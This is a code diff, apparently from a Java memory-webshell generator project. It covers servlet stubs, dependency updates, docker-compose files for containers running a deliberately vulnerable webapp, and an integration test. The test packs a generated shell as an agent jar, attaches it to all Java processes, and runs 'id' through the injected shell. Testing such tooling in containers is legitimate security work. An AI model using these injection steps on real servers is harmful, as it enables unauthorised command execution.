|
|
||||||
@Override
|
|
||||||
public String getQueryString() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getRemoteUser() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean isUserInRole(String role) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Principal getUserPrincipal() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getRequestedSessionId() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getRequestURI() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public StringBuffer getRequestURL() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getServletPath() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public HttpSession getSession(boolean create) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public HttpSession getSession() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean isRequestedSessionIdValid() {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean isRequestedSessionIdFromCookie() {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean isRequestedSessionIdFromURL() {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean isRequestedSessionIdFromUrl() {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean authenticate(HttpServletResponse response) throws IOException, ServletException {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void login(String username, String password) throws ServletException {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void logout() throws ServletException {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Collection<Part> getParts() throws IOException, ServletException {
|
|
||||||
return Collections.emptyList();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Part getPart(String name) throws IOException, ServletException {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Object getAttribute(String name) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Enumeration<String> getAttributeNames() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getCharacterEncoding() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setCharacterEncoding(String env) throws UnsupportedEncodingException {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public int getContentLength() {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getContentType() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public ServletInputStream getInputStream() throws IOException {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getParameter(String name) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Enumeration<String> getParameterNames() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String[] getParameterValues(String name) {
|
|
||||||
return new String[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Map<String, String[]> getParameterMap() {
|
|
||||||
return Collections.emptyMap();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getProtocol() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getScheme() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getServerName() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public int getServerPort() {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public BufferedReader getReader() throws IOException {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getRemoteAddr() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getRemoteHost() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setAttribute(String name, Object o) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void removeAttribute(String name) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Locale getLocale() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Enumeration<Locale> getLocales() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean isSecure() {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public RequestDispatcher getRequestDispatcher(String path) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getRealPath(String path) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public int getRemotePort() {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getLocalName() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getLocalAddr() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public int getLocalPort() {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public ServletContext getServletContext() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public AsyncContext startAsync() throws IllegalStateException {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean isAsyncStarted() {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean isAsyncSupported() {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public AsyncContext getAsyncContext() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public DispatcherType getDispatcherType() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
public Response getResponse() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,196 +0,0 @@
|
|||||||
package org.apache.catalina.connector;
|
|
||||||
|
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.http.Cookie;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.PrintWriter;
|
|
||||||
import java.util.Collection;
|
|
||||||
import java.util.Collections;
|
|
||||||
import java.util.Locale;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/27
|
|
||||||
*/
|
|
||||||
public class Response implements HttpServletResponse {
|
|
||||||
@Override
|
|
||||||
public void addCookie(Cookie cookie) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean containsHeader(String name) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String encodeURL(String url) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String encodeRedirectURL(String url) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String encodeUrl(String url) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String encodeRedirectUrl(String url) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void sendError(int sc, String msg) throws IOException {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void sendError(int sc) throws IOException {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void sendRedirect(String location) throws IOException {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setDateHeader(String name, long date) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void addDateHeader(String name, long date) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setHeader(String name, String value) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void addHeader(String name, String value) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setIntHeader(String name, int value) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void addIntHeader(String name, int value) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setStatus(int sc) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setStatus(int sc, String sm) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public int getStatus() {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getHeader(String name) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Collection<String> getHeaders(String name) {
|
|
||||||
return Collections.emptyList();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Collection<String> getHeaderNames() {
|
|
||||||
return Collections.emptyList();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getCharacterEncoding() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getContentType() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public ServletOutputStream getOutputStream() throws IOException {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public PrintWriter getWriter() throws IOException {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setCharacterEncoding(String charset) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setContentLength(int len) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setContentType(String type) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setBufferSize(int size) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public int getBufferSize() {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void flushBuffer() throws IOException {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void resetBuffer() {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public boolean isCommitted() {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void reset() {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void setLocale(Locale loc) {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Locale getLocale() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
package org.apache.coyote;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/6
|
|
||||||
*/
|
|
||||||
public interface Adapter {
|
|
||||||
}
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
package org.apache.coyote;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/6
|
|
||||||
*/
|
|
||||||
public interface Processor {
|
|
||||||
}
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
package org.apache.coyote;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/6
|
|
||||||
*/
|
|
||||||
public class Request {
|
|
||||||
public Object getNote(int id) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
package org.apache.coyote;
|
|
||||||
|
|
||||||
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
|
|
||||||
import org.apache.tomcat.util.net.SocketWrapperBase;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/6
|
|
||||||
*/
|
|
||||||
public interface UpgradeProtocol {
|
|
||||||
public String getHttpUpgradeName(boolean isSSLEnabled);
|
|
||||||
|
|
||||||
public byte[] getAlpnIdentifier();
|
|
||||||
|
|
||||||
public String getAlpnName();
|
|
||||||
|
|
||||||
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter);
|
|
||||||
|
|
||||||
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request);
|
|
||||||
|
|
||||||
public boolean accept(Request request);
|
|
||||||
}
|
|
||||||
-8
@@ -1,8 +0,0 @@
|
|||||||
package org.apache.coyote.http11.upgrade;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/6
|
|
||||||
*/
|
|
||||||
public interface InternalHttpUpgradeHandler {
|
|
||||||
}
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
package org.apache.tomcat.util.net;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/6
|
|
||||||
*/
|
|
||||||
public class SocketWrapperBase<E> {
|
|
||||||
}
|
|
||||||
-12
@@ -28,12 +28,6 @@ class ListenerGeneratorTest {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class J {
|
|
||||||
public HttpServletResponse getResponseFromRequest(HttpServletRequest request) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class FakeRequest {
|
public static class FakeRequest {
|
||||||
public Object response = "i'm a good boy";
|
public Object response = "i'm a good boy";
|
||||||
}
|
}
|
||||||
@@ -44,12 +38,6 @@ class ListenerGeneratorTest {
|
|||||||
Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(Object.class), "hello.world"));
|
Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(Object.class), "hello.world"));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
|
||||||
void testGetResponseFromRequestSignatureError() {
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy().redefine(J.class);
|
|
||||||
Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(J.class), "hello.world"));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
void test() {
|
void test() {
|
||||||
|
|||||||
+21
-15
@@ -11,33 +11,39 @@ spring-webflux = "5.3.24"
|
|||||||
reactor-netty = "1.1.25"
|
reactor-netty = "1.1.25"
|
||||||
jackson = "2.19.0"
|
jackson = "2.19.0"
|
||||||
jetbrains-annotations = "26.0.2"
|
jetbrains-annotations = "26.0.2"
|
||||||
|
alibaba-dubbo = "2.6.12"
|
||||||
|
apache-dubbo = "2.7.6"
|
||||||
|
tomcat = "8.5.85"
|
||||||
|
|
||||||
byte-buddy = "1.18.4"
|
byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
||||||
commons-io = "2.21.0"
|
commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
||||||
commons-lang3 = "3.20.0"
|
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
|
||||||
commons-codec = "1.20.0"
|
commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
||||||
logback = "1.5.24"
|
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
|
||||||
okhttp3 = "5.3.2"
|
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
||||||
fastjson2 = "2.0.60"
|
fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
||||||
java-websocket = "1.6.0"
|
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
|
||||||
|
|
||||||
mockito = "5.20.0"
|
mockito = "5.21.0"
|
||||||
hamcrest = "3.0"
|
hamcrest = "3.0"
|
||||||
junit-jupiter = "5.14.2"
|
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
|
||||||
junit-pioneer = "2.3.0"
|
junit-pioneer = "2.3.0"
|
||||||
junit-platform = "1.14.2"
|
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
|
||||||
testcontainers = "2.0.3"
|
testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
|
||||||
|
|
||||||
[libraries]
|
[libraries]
|
||||||
|
alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
|
||||||
|
apache-dubbo = { module = "org.apache.dubbo:dubbo", version.ref = "apache-dubbo" }
|
||||||
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
|
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
|
||||||
|
tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "tomcat" }
|
||||||
asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
|
asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
|
||||||
jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
|
jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
|
||||||
jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
|
jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
|
||||||
javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
|
javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
|
||||||
jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
|
jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
|
||||||
javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
|
javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
|
||||||
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"}
|
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api" }
|
||||||
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"}
|
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api" }
|
||||||
spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
|
spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
|
||||||
spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
|
spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
|
||||||
reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
|
reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
|
||||||
@@ -69,4 +75,4 @@ testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
|
|||||||
|
|
||||||
[plugins]
|
[plugins]
|
||||||
lombok = { id = "io.freefair.lombok", version = "9.2.0" }
|
lombok = { id = "io.freefair.lombok", version = "9.2.0" }
|
||||||
shadow = { id = "com.gradleup.shadow", version = "9.3.1"}
|
shadow = { id = "com.gradleup.shadow", version = "9.3.1" }
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
services:
|
||||||
|
resin2117:
|
||||||
|
image: reajason/resin:2.1.17-jdk6
|
||||||
|
container_name: resin2117
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
|
||||||
@@ -2,6 +2,8 @@ services:
|
|||||||
was700:
|
was700:
|
||||||
image: reajason/websphere:7.0.0.21
|
image: reajason/websphere:7.0.0.21
|
||||||
container_name: was700
|
container_name: was700
|
||||||
|
environment:
|
||||||
|
JAVA_OPTS: -Xshareclasses:none
|
||||||
ports:
|
ports:
|
||||||
- "9080:9080"
|
- "9080:9080"
|
||||||
- "9060:9060"
|
- "9060:9060"
|
||||||
|
|||||||
@@ -0,0 +1,12 @@
|
|||||||
|
services:
|
||||||
|
was905:
|
||||||
|
image: reajason/websphere:9.0.5.17
|
||||||
|
container_name: was905
|
||||||
|
ports:
|
||||||
|
- "9080:9080"
|
||||||
|
- "9060:9060"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war
|
||||||
@@ -1,2 +1,2 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
pgrep -f Resin | tr -d '\n'
|
pgrep -f 'Resin|-Dresin' | tr -d '\n'
|
||||||
@@ -503,4 +503,60 @@ public class ShellAssertion {
|
|||||||
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
|
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
|
||||||
));
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer<?> appContainer) {
|
||||||
|
String shellTool = ShellTool.Command;
|
||||||
|
Packers packer = Packers.AgentJarWithJREAttacher;
|
||||||
|
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
|
||||||
|
String shellUrl = urls.getLeft();
|
||||||
|
String urlPattern = urls.getRight();
|
||||||
|
|
||||||
|
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
|
||||||
|
MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(),
|
||||||
|
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
|
||||||
|
|
||||||
|
// Pack and copy to container
|
||||||
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
||||||
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
|
Files.write(tempJar, bytes);
|
||||||
|
String jarPath = "/listProcessTest.jar";
|
||||||
|
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||||
|
FileUtils.deleteQuietly(tempJar.toFile());
|
||||||
|
|
||||||
|
// Test 1: List processes (no args)
|
||||||
|
Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath);
|
||||||
|
String listStdout = listResult.getStdout();
|
||||||
|
if (listStdout.contains("executable file not found")) {
|
||||||
|
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath);
|
||||||
|
listStdout = listResult.getStdout();
|
||||||
|
if (listStdout.contains("no such file or directory")) {
|
||||||
|
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath);
|
||||||
|
listStdout = listResult.getStdout();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
log.info("list processes output:\n{}", listStdout);
|
||||||
|
System.out.println("list stderr: " + listResult.getStderr());
|
||||||
|
assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo("")));
|
||||||
|
assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found")));
|
||||||
|
|
||||||
|
// Test 2: Attach all
|
||||||
|
Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all");
|
||||||
|
String attachStdout = attachResult.getStdout();
|
||||||
|
if (attachStdout.contains("executable file not found")) {
|
||||||
|
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all");
|
||||||
|
attachStdout = attachResult.getStdout();
|
||||||
|
if (attachStdout.contains("no such file or directory")) {
|
||||||
|
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath, "all");
|
||||||
|
attachStdout = attachResult.getStdout();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
log.info("attach all output:\n{}", attachStdout);
|
||||||
|
System.out.println("attach all stderr: " + attachResult.getStderr());
|
||||||
|
assertThat("Attach all should complete with Success", attachStdout, containsString("Success"));
|
||||||
|
|
||||||
|
// Test 3: Verify shell injection was successful
|
||||||
|
String paramName = ((CommandConfig) shellToolConfig).getParamName();
|
||||||
|
commandIsOk(shellUrl, shellType, paramName, "id");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
@@ -59,4 +61,9 @@ public class Tomcat10ContainerTest extends AbstractContainerTest {
|
|||||||
protected ContainerTestConfig getConfig() {
|
protected ContainerTestConfig getConfig() {
|
||||||
return CONFIG;
|
return CONFIG;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testListProcessAndAttachAll() {
|
||||||
|
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
